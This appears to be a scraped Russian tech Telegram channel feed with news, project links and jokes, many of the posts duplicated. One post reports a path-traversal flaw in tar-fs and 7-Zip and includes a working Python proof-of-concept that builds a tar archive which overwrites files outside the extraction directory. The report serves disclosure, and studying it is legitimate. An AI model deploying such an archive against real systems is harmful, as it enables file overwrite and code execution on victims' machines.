Forwarded from Кадровый Болт Генона
Ищем Linux мастера для нового Flipper One
Мы делаем новый Flipper One — это ARM-компьютер на Linux на базе процессора RK3576. Мы хотим слепить для него свой кастомный дистрибутив.
Мы не хотим использовать устаревшие системны обновления вроде Debian APT.
Почему классическая система обновлений APT нам не подходит:
• Обновление легко может сломаться на середине и система станет не консистентна
• Нельзя откатиться к предыдущей версии
• Нельзя сбросить настройки в дефолтные
Поэтому мы ищем спеца по Linux дистрибутивам, который спроектирует дистрибутив для Flipper One на основе модной модели с A/B-разделами, read-only корневым разделом и атомарными обновлениями.
Хотим использовать наработки существующих проектов, типа SteamOS, OSTree, RAUC и т.д.
Для пользовательских приложений хотим пакетирование типа — Flatpak, AppImage или Snap или подобного.
Если вы умеете такое, приходите к нам — https://flipperdevices.com/jobs
https://xn--r1a.website/zhovner_hub/2165
Открытка @itpgchannel 🌝
Мы делаем новый Flipper One — это ARM-компьютер на Linux на базе процессора RK3576. Мы хотим слепить для него свой кастомный дистрибутив.
Мы не хотим использовать устаревшие системны обновления вроде Debian APT.
Почему классическая система обновлений APT нам не подходит:
• Обновление легко может сломаться на середине и система станет не консистентна
• Нельзя откатиться к предыдущей версии
• Нельзя сбросить настройки в дефолтные
Поэтому мы ищем спеца по Linux дистрибутивам, который спроектирует дистрибутив для Flipper One на основе модной модели с A/B-разделами, read-only корневым разделом и атомарными обновлениями.
Хотим использовать наработки существующих проектов, типа SteamOS, OSTree, RAUC и т.д.
Для пользовательских приложений хотим пакетирование типа — Flatpak, AppImage или Snap или подобного.
Если вы умеете такое, приходите к нам — https://flipperdevices.com/jobs
https://xn--r1a.website/zhovner_hub/2165
Открытка @itpgchannel 🌝
🖕34🔥16🤡11👍5❤3👎2🗿1
Мой Eee PC 701-ый пал в неравной битве с разлитым стаканом воды, но я его до сих пор нежно люблю. Каких только пыток разными линупсами он не испытал на себе 🌝
Мой экземпляр был из самой-самой-самой первой партии, которая попала в РФ, я его перекупил практически сразу как только узнал, что стал доступен. Всегда и везде со мной и реально выручал в дороге, когда надо было что-то поделать.
Вообще, Eee PC это некая веха в истории ноутбокостроения. И 701, и 900/901 много шума наделали.
Автор поста так и не написал толком "зачем", но режим "Ностальгия" включил
Eee PC 701 в 2025 году: зачем я снова включил этот древний нетбук
https://habr.com/ru/articles/937914/
Артефакт переломной эпохи
701 — это поворотный момент. До него ноутбуки были либо тяжёлыми «кирпичами», либо дорогими ультрабуками. С его выхода началась эра нетбуков, а с ней — массовая доступность компьютеров.
Он показал: ПК может быть дешёвым, маленьким, надёжным — и всё ещё настоящим ПК.
Для своей эпохи он был тем, чем Raspberry Pi стал чуть позже — точкой входа. Именно с него многие начинали:
- Устанавливать альтернативные ОС;
- Копаться в BIOS;
- Читать англоязычные форумы в поисках драйверов и хаков;
- Впервые понимать, что "root" — это не только растение.
Дизайн, в котором всё было по делу
Он не пытался быть красивым. Он пытался быть полезным.
И именно поэтому — он красив. Его клавиатура, пусть и тесная, была удобной. Экран хоть и крошечный, но чёткий.
Разъёмы? VGA, USB, Ethernet, картридер — всё в наличии, даже сегодня многим такого набора не хватает.
Крышка с логотипом ASUS, этот характерный скос у экрана, индикаторы снизу — всё в нём кричит:
«Я — 2007. Но я пришёл всерьёз и надолго».
Инженерная откровенность
Открутить пару винтов — и ты уже внутри. Хочешь добавить модуль Wi-Fi? Пожалуйста.
Хочешь модифицировать SSD, впаять SD-to-SATA переходник, или даже прикрутить второй экран через USB — всё возможно. Это настоящий LEGO-компьютер, и в этом его шарм.
Современные устройства часто «залиты клеем» в прямом и переносном смысле.
701 — был честным. Он не прятал от тебя свои кишки. Он был твоим.
Нашёл на Хабре постов из серии "Как оно было"
> 21 сен 2007
Ноутбук за $200 поступил в пред-продажу
https://habr.com/ru/articles/14328/
> 27 фев 2008
мой взгляд на использование Asus Eee Pc
https://habr.com/ru/articles/20906/
> 6 авг 2009
NetBookFox — сборка Firefox для нетбуков
https://habr.com/ru/articles/66424/
> 30 мая 2010
HDD mod EEE PC 701
https://habr.com/ru/articles/94934/
> 6 фев 2012
Модификация SSD Asus Eee PC 900 и интеграция USB 3G Huawei E150
https://habr.com/ru/articles/137669/
Мой экземпляр был из самой-самой-самой первой партии, которая попала в РФ, я его перекупил практически сразу как только узнал, что стал доступен. Всегда и везде со мной и реально выручал в дороге, когда надо было что-то поделать.
Вообще, Eee PC это некая веха в истории ноутбокостроения. И 701, и 900/901 много шума наделали.
Автор поста так и не написал толком "зачем", но режим "Ностальгия" включил
Eee PC 701 в 2025 году: зачем я снова включил этот древний нетбук
https://habr.com/ru/articles/937914/
Артефакт переломной эпохи
701 — это поворотный момент. До него ноутбуки были либо тяжёлыми «кирпичами», либо дорогими ультрабуками. С его выхода началась эра нетбуков, а с ней — массовая доступность компьютеров.
Он показал: ПК может быть дешёвым, маленьким, надёжным — и всё ещё настоящим ПК.
Для своей эпохи он был тем, чем Raspberry Pi стал чуть позже — точкой входа. Именно с него многие начинали:
- Устанавливать альтернативные ОС;
- Копаться в BIOS;
- Читать англоязычные форумы в поисках драйверов и хаков;
- Впервые понимать, что "root" — это не только растение.
Дизайн, в котором всё было по делу
Он не пытался быть красивым. Он пытался быть полезным.
И именно поэтому — он красив. Его клавиатура, пусть и тесная, была удобной. Экран хоть и крошечный, но чёткий.
Разъёмы? VGA, USB, Ethernet, картридер — всё в наличии, даже сегодня многим такого набора не хватает.
Крышка с логотипом ASUS, этот характерный скос у экрана, индикаторы снизу — всё в нём кричит:
«Я — 2007. Но я пришёл всерьёз и надолго».
Инженерная откровенность
Открутить пару винтов — и ты уже внутри. Хочешь добавить модуль Wi-Fi? Пожалуйста.
Хочешь модифицировать SSD, впаять SD-to-SATA переходник, или даже прикрутить второй экран через USB — всё возможно. Это настоящий LEGO-компьютер, и в этом его шарм.
Современные устройства часто «залиты клеем» в прямом и переносном смысле.
701 — был честным. Он не прятал от тебя свои кишки. Он был твоим.
Нашёл на Хабре постов из серии "Как оно было"
> 21 сен 2007
Ноутбук за $200 поступил в пред-продажу
https://habr.com/ru/articles/14328/
> 27 фев 2008
мой взгляд на использование Asus Eee Pc
https://habr.com/ru/articles/20906/
> 6 авг 2009
NetBookFox — сборка Firefox для нетбуков
https://habr.com/ru/articles/66424/
> 30 мая 2010
HDD mod EEE PC 701
https://habr.com/ru/articles/94934/
> 6 фев 2012
Модификация SSD Asus Eee PC 900 и интеграция USB 3G Huawei E150
https://habr.com/ru/articles/137669/
🫡27❤9👍7🔥4❤🔥2👎1
Прикольные проект и пост в котором автор задался вопросом как бы "нарисовать" процесс сборки, а заодно понять где "бутылочное горлышко" в этом процессе.
Компиляция конкретного софта может быть очень длительной просто потому, что в этой программе очень много кода — как, например, в проекте LLVM. Но бывает и так, что сборка идёт медленно по глупым и вполне устранимым причинам. Подозреваю, что большинство сборок просто тормозят из-за ерунды, но проверить это мне пока не удавалось. Поэтому я разработал кроссплатформенный инструмент для визуализации сборок (пока он существует в приватной бета-версии, ссылка в конце статьи). Он работает с любой системой сборки и с любым языком программирования (а не только C/C++/Rust).
Это не просто универсальный профилировщик системы; вдобавок он помогает выявить проблемы, специфичные для сборок. Примеры таких проблем: использование make без флага -j, непропорционально длительная работа над некоторыми файлами или фазами компилятора (такие данные можно получить через специальные инструменты, например, -ftime-trace из clang). Также бывают команды, которые можно выполнять параллельно, а это сделано не было. Всё это особенно помогает при оптимизации сборок в ходе непрерывной интеграции, которые зачастую сводятся к простой пересборке.
Куча подробностей в посте, сюда всё не влезет. Там рассмотрены примеры различных проектов
Визуализатор сборок в режиме реального времени
https://habr.com/ru/articles/937972/
Оригинал
I Made A Real-Time Build Visualizer
https://danielchasehooper.com/posts/syscall-build-snooping/
Утилита пока недоступна широкому кругу, но можно запросить её и попробовать (работает под Windows, Linux и macOS)
https://docs.google.com/forms/d/e/1FAIpQLScVms7Eu64BOm9usl1vcWxTUxW4IcMfmnopAWutj35QOw9ijg/viewform
Компиляция конкретного софта может быть очень длительной просто потому, что в этой программе очень много кода — как, например, в проекте LLVM. Но бывает и так, что сборка идёт медленно по глупым и вполне устранимым причинам. Подозреваю, что большинство сборок просто тормозят из-за ерунды, но проверить это мне пока не удавалось. Поэтому я разработал кроссплатформенный инструмент для визуализации сборок (пока он существует в приватной бета-версии, ссылка в конце статьи). Он работает с любой системой сборки и с любым языком программирования (а не только C/C++/Rust).
Это не просто универсальный профилировщик системы; вдобавок он помогает выявить проблемы, специфичные для сборок. Примеры таких проблем: использование make без флага -j, непропорционально длительная работа над некоторыми файлами или фазами компилятора (такие данные можно получить через специальные инструменты, например, -ftime-trace из clang). Также бывают команды, которые можно выполнять параллельно, а это сделано не было. Всё это особенно помогает при оптимизации сборок в ходе непрерывной интеграции, которые зачастую сводятся к простой пересборке.
Куча подробностей в посте, сюда всё не влезет. Там рассмотрены примеры различных проектов
Визуализатор сборок в режиме реального времени
https://habr.com/ru/articles/937972/
Оригинал
I Made A Real-Time Build Visualizer
https://danielchasehooper.com/posts/syscall-build-snooping/
Утилита пока недоступна широкому кругу, но можно запросить её и попробовать (работает под Windows, Linux и macOS)
https://docs.google.com/forms/d/e/1FAIpQLScVms7Eu64BOm9usl1vcWxTUxW4IcMfmnopAWutj35QOw9ijg/viewform
🔥23👍5❤1
Old but gold
Please change "allopenissues" in JIRA's URL scheme to, e.g. "all-open-issues".
I'm afraid that all we see currently is "blah-penis-blah".
https://jira.atlassian.com/browse/JRASERVER-65811
Please change "allopenissues" in JIRA's URL scheme to, e.g. "all-open-issues".
I'm afraid that all we see currently is "blah-penis-blah".
https://jira.atlassian.com/browse/JRASERVER-65811
😁65🍌5👍3🔥1
Forwarded from Музыкальный Болт Генона
Vintage Rotary Phone MIDI Controller
https://diyelectromusic.com/2022/03/10/vintage-rotary-phone-midi-controller/
Vintage Rotary Phone MIDI Controller – Part 2
https://diyelectromusic.com/2022/03/10/vintage-rotary-phone-midi-controller-part-2/
Vintage Rotary Phone MIDI Controller – Part 3
https://diyelectromusic.com/2022/03/10/vintage-rotary-phone-midi-controller-part-3/
Vintage Rotary Phone MIDI Controller – Part 4
https://diyelectromusic.com/2022/03/11/vintage-rotary-phone-midi-controller-part-4/
Vintage Rotary Phone MIDI Controller – Part 5
https://diyelectromusic.com/2022/03/11/vintage-rotary-phone-midi-controller-part-5/
Vintage Rotary Phone MIDI Controller – Part 6
https://diyelectromusic.com/2022/03/17/vintage-rotary-phone-midi-controller-part-6/
Vintage Rotary Phone MIDI Controller – Part 7
https://diyelectromusic.com/2022/03/29/vintage-rotary-phone-midi-controller-part-7/
https://diyelectromusic.com/2022/03/10/vintage-rotary-phone-midi-controller/
Vintage Rotary Phone MIDI Controller – Part 2
https://diyelectromusic.com/2022/03/10/vintage-rotary-phone-midi-controller-part-2/
Vintage Rotary Phone MIDI Controller – Part 3
https://diyelectromusic.com/2022/03/10/vintage-rotary-phone-midi-controller-part-3/
Vintage Rotary Phone MIDI Controller – Part 4
https://diyelectromusic.com/2022/03/11/vintage-rotary-phone-midi-controller-part-4/
Vintage Rotary Phone MIDI Controller – Part 5
https://diyelectromusic.com/2022/03/11/vintage-rotary-phone-midi-controller-part-5/
Vintage Rotary Phone MIDI Controller – Part 6
https://diyelectromusic.com/2022/03/17/vintage-rotary-phone-midi-controller-part-6/
Vintage Rotary Phone MIDI Controller – Part 7
https://diyelectromusic.com/2022/03/29/vintage-rotary-phone-midi-controller-part-7/
💊12🔥6❤4😁3
Сегодня активно форсят ссылку везде с "анализом приложения MAX"
MAX-deep-analysis-of-the-messenger
https://github.com/ZolManStaff/MAX-deep-analysis-of-the-messenger
Я видел этот разбор ещё недели три назад наверное и не стал постить потому что там обсуждать нечего. Этот "анализ" подтверждает, что в целом MAX ничем не отличается от Telegram или Whatsapp по своим запросам.
Если автор(ы) хотят показать что-то ТАКОЕ, то им придётся провести более глубокий анализ с деобфускацией.
Вот ссылки на пермиссии, которые запрашивают Telegram или Whatsapp
https://reports.exodus-privacy.eu.org/en/reports/org.telegram.messenger/latest/
https://reports.exodus-privacy.eu.org/en/reports/com.whatsapp/latest/
MAX-deep-analysis-of-the-messenger
https://github.com/ZolManStaff/MAX-deep-analysis-of-the-messenger
Я видел этот разбор ещё недели три назад наверное и не стал постить потому что там обсуждать нечего. Этот "анализ" подтверждает, что в целом MAX ничем не отличается от Telegram или Whatsapp по своим запросам.
Если автор(ы) хотят показать что-то ТАКОЕ, то им придётся провести более глубокий анализ с деобфускацией.
Вот ссылки на пермиссии, которые запрашивают Telegram или Whatsapp
https://reports.exodus-privacy.eu.org/en/reports/org.telegram.messenger/latest/
https://reports.exodus-privacy.eu.org/en/reports/com.whatsapp/latest/
👍39❤12
Извините, день сегодня такой тяжёлый. Понедельник!
> 20 июл. 2025
> ИА "Панорама"
Все SMS-коды теперь будут приходить только в национальный мессенджер МАХ
https://panorama.pub/news/vse-sms-kody-teper-budut
> 18 августа 2025
> первый зампред комитета Госдумы по информполитике Александр Ющенко
В Госдуме заявили, что все коды верификации должны отправляться в Max
https://absatz.media/news/130801-v-gosdume-zayavili-chto-vse-kody-verifikacii-dolzhny-otpravlyatsya-v-max
Спасибо
> 20 июл. 2025
> ИА "Панорама"
Все SMS-коды теперь будут приходить только в национальный мессенджер МАХ
https://panorama.pub/news/vse-sms-kody-teper-budut
> 18 августа 2025
> первый зампред комитета Госдумы по информполитике Александр Ющенко
«Если полноценно запускать мессенджер, он должен соответствовать всем возможным технологическим возможностям, которые есть на рынке, для того чтобы быть конкурентоспособным. У него должен быть практически весь функционал, в том числе и информационные каналы, и возможность взаимодействия с разными сервисами. Поэтому работа над тем, чтобы в Max приходили коды верификации, должна идти. Она уже ведется, я думаю, и надо быть уверенным, что данная функция будет представлена», – отметил Ющенко.В Госдуме заявили, что все коды верификации должны отправляться в Max
https://absatz.media/news/130801-v-gosdume-zayavili-chto-vse-kody-verifikacii-dolzhny-otpravlyatsya-v-max
Спасибо
😁44🤡43🫡9🖕7👍4🐳2❤1🌭1
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога
https://www.opennet.ru/opennews/art.shtml?num=63740
В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.
Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.
Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.
Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar
PoC
https://www.opennet.ru/opennews/art.shtml?num=63740
В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.
Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.
Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.
Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar
PoC
import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
root = tarfile.TarInfo("root")
root.linkname = ("noop/" * 15) + ("../" * 15)
root.type = tarfile.SYMTYPE
tar.addfile(root)
noop = tarfile.TarInfo("noop")
noop.linkname = "."
noop.type = tarfile.SYMTYPE
tar.addfile(noop)
hard = tarfile.TarInfo("hardflag")
hard.linkname = "root/home/username/flag/flag"
hard.type = tarfile.LNKTYPE
tar.addfile(hard)
content = b"overwrite\n"
overwrite = tarfile.TarInfo("hardflag")
overwrite.size = len(content)
overwrite.type = tarfile.REGTYPE
tar.addfile(overwrite, fileobj=io.BytesIO(content))
content = b"new!\n"
newfile = tarfile.TarInfo("root/home/username/flag/newfile")
newfile.size = len(content)
newfile.type = tarfile.REGTYPE
tar.addfile(newfile, fileobj=io.BytesIO(content))
🔥16🥱2❤1👾1
Forwarded from Безумный кот
В пятницу с @int0x80h (Алексеем Федулаевым) обнаружили и проработали интересный кейс.
(Да, писать об этом в пятницу вечером — было жестоко🤪 )
🎼 Kubernetes pods/exec — что поменялось и почему это важно
В преддверии публикации нашего UI в open source, мы с коллегами откопали нечто любопытное.
В статье вы, скорее всего, найдёте нечто необычное. А может — просто хорошо забытое старое.
В любом случае, речь пойдёт о pods/exec и о том, как правильно давать к нему доступ пользователям.
Думаете, тут ничего особенного?
Прочитайте статью — и, возможно, удивитесь😉
😎 Читаем статью:
https://docs.dobry-kot.ru/blog/kubernetes-pods-exec
💤 Исходники на GitHub:
https://github.com/PRO-Robotech/in-cloud-docs
😇 Лучшая ваша похвала это:
• вопросы по теме,
• поиск неточностей,
• советы, как сделать лучше,
• и, конечно, ⭐️ на GitHub.
(Да, писать об этом в пятницу вечером — было жестоко
В преддверии публикации нашего UI в open source, мы с коллегами откопали нечто любопытное.
В статье вы, скорее всего, найдёте нечто необычное. А может — просто хорошо забытое старое.
В любом случае, речь пойдёт о pods/exec и о том, как правильно давать к нему доступ пользователям.
Думаете, тут ничего особенного?
Прочитайте статью — и, возможно, удивитесь
https://docs.dobry-kot.ru/blog/kubernetes-pods-exec
https://github.com/PRO-Robotech/in-cloud-docs
• вопросы по теме,
• поиск неточностей,
• советы, как сделать лучше,
• и, конечно, ⭐️ на GitHub.
Please open Telegram to view this post
VIEW IN TELEGRAM
💅10👍3❤1🍌1
> Стабилизированы команды "git switch" и "git restore", которые с 2019 года рассматривались как экспериментальные. Команды преподносятся как современные эквиваленты "git checkout", разделяющие такие малосвязанные возможности данной команды, как манипуляция ветками (переключение и создание) и восстановление файлов в рабочем каталоге.
Перешёл на использование этих команд как только они были добавлены. Ни о чём не жалею 🌝
Выпуск системы управления исходными текстами Git 2.51
https://www.opennet.ru/opennews/art.shtml?num=63742
Оригинал
https://lore.kernel.org/lkml/xmqqikikk1hr.fsf@gitster.g/
Перешёл на использование этих команд как только они были добавлены. Ни о чём не жалею 🌝
Выпуск системы управления исходными текстами Git 2.51
https://www.opennet.ru/opennews/art.shtml?num=63742
Оригинал
https://lore.kernel.org/lkml/xmqqikikk1hr.fsf@gitster.g/
👍29❤3🌚3👎2
Forwarded from RutheniumOS
> Видали как ща ребятки анлочат химики?
> 1. Просите откатить версию прошивки в сервисе.
2. Выхватываете девайс и убегаете, прежде чем они успеют залочить бут обратно.
🤣48🥰15😁5🙏2❤1🔥1
Нашёл в закладках у себя пост из 2021 года интересный. Из серии "чего только не бывает".
Меня зову Женя, я open source разработчик. Я занимаюсь разработкой библиотеки sqlite_orm на С++ https://github.com/fnc12/sqlite_orm в свое свободное время.
Библиотека sqlite_orm предоставляет более удобный API на С++, чем «родная» SQLite3-библиотека, написанная на чистом С. Конечно, я и другие контрибьюторы еще не покрыли весь API SQLite, потому работа не останавливается никогда. Меня очень давно просили добавить в sqlite_orm поддержку пользовательских функций. Это возможность привязывать колбэки на чистом C в виде функций, доступных внутри SQLite-запросов.
. . .
Лямбда должна осуществлять сравнение строк и возвращать индекс первого несовпадающего символа по аналогии с функцией strcmp. И я проигнорировал первый аргумент, который имеет тип int. Это длина данных для сравнения. И SQLite не дает гарантию, что второй и третий аргументы имеют после себя нуль-терминаторы. Просто почему-то раньше эти нуль-терминаторы там были. Целых три года! Но с появлением пользовательских функций три из восьми конфигураций на Windows вдруг перестали проявлять толерантность к неопределенному поведению. К такому жизнь меня точно не готовила.
. . .
Что имеем в итоге? Если опустить глупую ошибку с копированием C-строки, то новая фича вдруг выявила совершенно не связанные проблемы, которые были в виде кода, который ведет себя неопределенно в теории, но на практике три года вел себя очень определенно (по крайней мере тесты выполнялись и крэшей не было).
Вся цепочка расследования с примерами кода в посте
Неопределенное поведение, пронесенное сквозь года
https://habr.com/ru/articles/568674/
Меня зову Женя, я open source разработчик. Я занимаюсь разработкой библиотеки sqlite_orm на С++ https://github.com/fnc12/sqlite_orm в свое свободное время.
Библиотека sqlite_orm предоставляет более удобный API на С++, чем «родная» SQLite3-библиотека, написанная на чистом С. Конечно, я и другие контрибьюторы еще не покрыли весь API SQLite, потому работа не останавливается никогда. Меня очень давно просили добавить в sqlite_orm поддержку пользовательских функций. Это возможность привязывать колбэки на чистом C в виде функций, доступных внутри SQLite-запросов.
. . .
Лямбда должна осуществлять сравнение строк и возвращать индекс первого несовпадающего символа по аналогии с функцией strcmp. И я проигнорировал первый аргумент, который имеет тип int. Это длина данных для сравнения. И SQLite не дает гарантию, что второй и третий аргументы имеют после себя нуль-терминаторы. Просто почему-то раньше эти нуль-терминаторы там были. Целых три года! Но с появлением пользовательских функций три из восьми конфигураций на Windows вдруг перестали проявлять толерантность к неопределенному поведению. К такому жизнь меня точно не готовила.
. . .
Что имеем в итоге? Если опустить глупую ошибку с копированием C-строки, то новая фича вдруг выявила совершенно не связанные проблемы, которые были в виде кода, который ведет себя неопределенно в теории, но на практике три года вел себя очень определенно (по крайней мере тесты выполнялись и крэшей не было).
Вся цепочка расследования с примерами кода в посте
Неопределенное поведение, пронесенное сквозь года
https://habr.com/ru/articles/568674/
👍17❤3
Четверг, а значит время проектов от подписчиков! 🌝
Тем, кто пропустил, что такое четверговые проекты от подписчиков, можно прочитать тут - https://xn--r1a.website/tech_b0lt_Genona/4983
Влада, автора этого проекта, я знаю уже много лет и рад, что он пилит и делает всякое интересное и образовательное.
А для демонстрации сделано полноценное живое видео (происходит впервые в четверговой рубрике!), за что отдельное спасибо.
Слово автору @ejiek
---
git-plumber — read-only клиент для git'a, преследующий образовательные цели. Он показывает, как другие git клиенты меняют содержимое папки
Это консольное приложение, как и сам git. Но с TUI в качестве основного интерфейса. Надеюсь, это поможет пользователям IDE и GitHub Desktop узнать, что гит родом из терминала перебороть его страх.
Лично мне приложение помогло понять:
- Насколько плохо хранить бинарные файлы в гите
- Почему гит отказывается добавлять в репу пустые папки
- Как спасти удалённый и не закомиченный файл
- Как именно гит хранит разницу между версиями файла
Оказывается, на уровне хранения git ничего не знает ни про строки, ни про текст. Иногда git хранит все версии целиком. А иногда сжимает, но не построчными diff'aми, а побайтовыми delta'ми. Мало того, дельты умеют всего две операции: скопировать и вставить. Этого достаточно! Например, чтобы описать удаление: «скопируй всё до, пропусти лишнее, скопируй всё после».
Приглашаю попробовать приложение самостоятельно. И поделиться обратной связью. Особенно если что-то сложно понять или нужны пояснения.
git-plumber ещё в ранней стадии разработки, но уже может быть полезен. Сейчас главная цель — проработать подачу материала и UX. И вооружить git-plumber'ом преподавателей, студентов и энтузиастов уже в этом учебном году.
⭐️ Прошу поддержать проект звездой на GitHub'e ⭐️
---
Влада, автора этого проекта, я знаю уже много лет и рад, что он пилит и делает всякое интересное и образовательное.
А для демонстрации сделано полноценное живое видео (происходит впервые в четверговой рубрике!), за что отдельное спасибо.
Слово автору @ejiek
---
git-plumber — read-only клиент для git'a, преследующий образовательные цели. Он показывает, как другие git клиенты меняют содержимое папки
.git.Это консольное приложение, как и сам git. Но с TUI в качестве основного интерфейса. Надеюсь, это поможет пользователям IDE и GitHub Desktop узнать, что гит родом из терминала перебороть его страх.
Лично мне приложение помогло понять:
- Насколько плохо хранить бинарные файлы в гите
- Почему гит отказывается добавлять в репу пустые папки
- Как спасти удалённый и не закомиченный файл
- Как именно гит хранит разницу между версиями файла
Оказывается, на уровне хранения git ничего не знает ни про строки, ни про текст. Иногда git хранит все версии целиком. А иногда сжимает, но не построчными diff'aми, а побайтовыми delta'ми. Мало того, дельты умеют всего две операции: скопировать и вставить. Этого достаточно! Например, чтобы описать удаление: «скопируй всё до, пропусти лишнее, скопируй всё после».
Приглашаю попробовать приложение самостоятельно. И поделиться обратной связью. Особенно если что-то сложно понять или нужны пояснения.
git-plumber ещё в ранней стадии разработки, но уже может быть полезен. Сейчас главная цель — проработать подачу материала и UX. И вооружить git-plumber'ом преподавателей, студентов и энтузиастов уже в этом учебном году.
⭐️ Прошу поддержать проект звездой на GitHub'e ⭐️
---
🔥56👍15🤓5⚡2❤1🤡1